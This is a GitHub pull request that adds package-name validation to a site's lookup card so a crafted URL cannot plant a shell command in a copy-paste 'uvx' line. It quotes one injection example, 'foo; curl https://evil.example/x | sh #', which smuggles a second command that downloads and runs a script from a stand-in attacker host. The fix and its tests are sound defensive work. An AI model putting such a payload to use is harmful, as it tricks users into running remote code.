Skip to content

Lookup: only suggest the uvx command for a valid package name - #85

Merged
patrickballard merged 3 commits into
wheelgap:mainfrom
sarankumar1325:fix/lookup-package-name
Nov 16, 2026
Merged

patrickballard merged 3 commits into
wheelgap:mainfrom
sarankumar1325:fix/lookup-package-name

Conversation

@sarankumar1325

Copy link
Copy Markdown
Contributor

Closes #57.

What changes

  • site/logic.js gets isPackageName() with the PEP 508 name pattern from the issue, ^([A-Z0-9]|[A-Z0-9][A-Z0-9._-]*[A-Z0-9])$, case-insensitive. Anything that isn't a string returns false.
  • In renderLookup (site/app.js), the "isn't in the top N" card shows the uvx wheelgap <name> -t all command only when the trimmed name passes isPackageName. Otherwise the card says, in plain text, <name> isn't a valid package name. The name is still HTML-escaped as before.

So #package=foo%3B%20curl%20https%3A%2F%2Fevil.example%2Fx%20%7C%20sh%20%23 now shows "foo; curl https://evil.example/x | sh # isn't a valid package name." and no command.

Tests

In tests/site/logic.test.js:

  • Valid: numpy, zope.interface, A_b-c, x, Pillow, backports.zoneinfo, a1.
  • Refused: the empty string, the crafted ; curl … | sh # name, a space, |, backticks, $(…), &&, >, a leading - or ., a trailing -, an embedded or trailing newline, and non-strings.

node --test tests/site/logic.test.js tests/site/scripts.test.js tests/site/check-logic.test.mjs passes 29/29, node --check is clean on logic.js and app.js, and uvx --python 3.14 [email protected] gives 325 passed, 1 skipped.

sarankumar1325 and others added 2 commits November 16, 2026 13:26
The lookup's "isn't in the top 5,000" card put the search text or the
#package= fragment into a copy-paste `uvx wheelgap <name> -t all`
command. It was HTML-escaped but not checked as a package name, so a
crafted link could show a command with `; curl ... | sh` in it.

Add isPackageName() to site/logic.js with the PEP 508 name pattern and
show the command only for a valid name; otherwise say the name isn't a
valid package name.

Closes wheelgap#57

Signed-off-by: sarankumar1325 <[email protected]>
The card invites checking a package at a pinned version, so numpy==2.0.0
should still get the uvx command (the version part allows only letters,
digits and . + _ -). An invalid name now says "That isn't a valid package
name." without repeating the URL text on the page.

Co-Authored-By: Claude Opus 5.5 <[email protected]>
@patrickballard

Copy link
Copy Markdown
Contributor

Thanks @sarankumar1325! The PEP 508 check and the long list of refused inputs are exactly what #57 needed. We've made these changes so it can go in:

  • Pinned versions still get the command. The card says you can check "any package at a pinned version", but numpy==2.0.0 was now reported as an invalid name. A new isPackageSpec() accepts name or name==version, where the version may only contain letters, digits and . + _ -. There are tests for both the accepted and the refused cases.
  • No echo of invalid input. The invalid-name card now says "That isn't a valid package name." instead of repeating the URL text, so a crafted link can't put its own sentence on our page.

It'll merge once a final review passes.

(Review assisted by Claude.)

numpy==2.0.0 said numpy isn't in the top 5,000. Look the name up, and when
the pin isn't the scanned release, say which release the card is for and
give the command for the pinned one.

Co-Authored-By: Claude Opus 5.5 <[email protected]>
@patrickballard

Copy link
Copy Markdown
Contributor

Thanks again @sarankumar1325! The command is now safe for every input we tried, which is the heart of #57.

A final review turned up a couple of edge cases in the pinned-version handling we added. For example, numpy==1!2.0 shows the latest release's card with no note that it isn't the version asked for. We've already been through two rounds of changes here, so Patrick will take a final look and finish it off himself. Nothing needed from you.

(Review assisted by Claude.)

@patrickballard
patrickballard merged commit 92bf2e5 into wheelgap:main Nov 16, 2026
1 check passed
@patrickballard

Copy link
Copy Markdown
Contributor

Merged, thanks @sarankumar1325! The lookup's copy-paste command now only ever holds a real package name, and the long list of refused inputs in your tests is exactly the right instinct. One more fix from review: a pinned query like numpy==2.0.0 now finds numpy and says which release the scan checked, instead of claiming numpy isn't in the top 5,000.

#55 is still there if you'd like it.

(Reply assisted by Claude.)

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

Lookup: don't put arbitrary text from the URL into the "isn't in the top 5,000" command

2 participants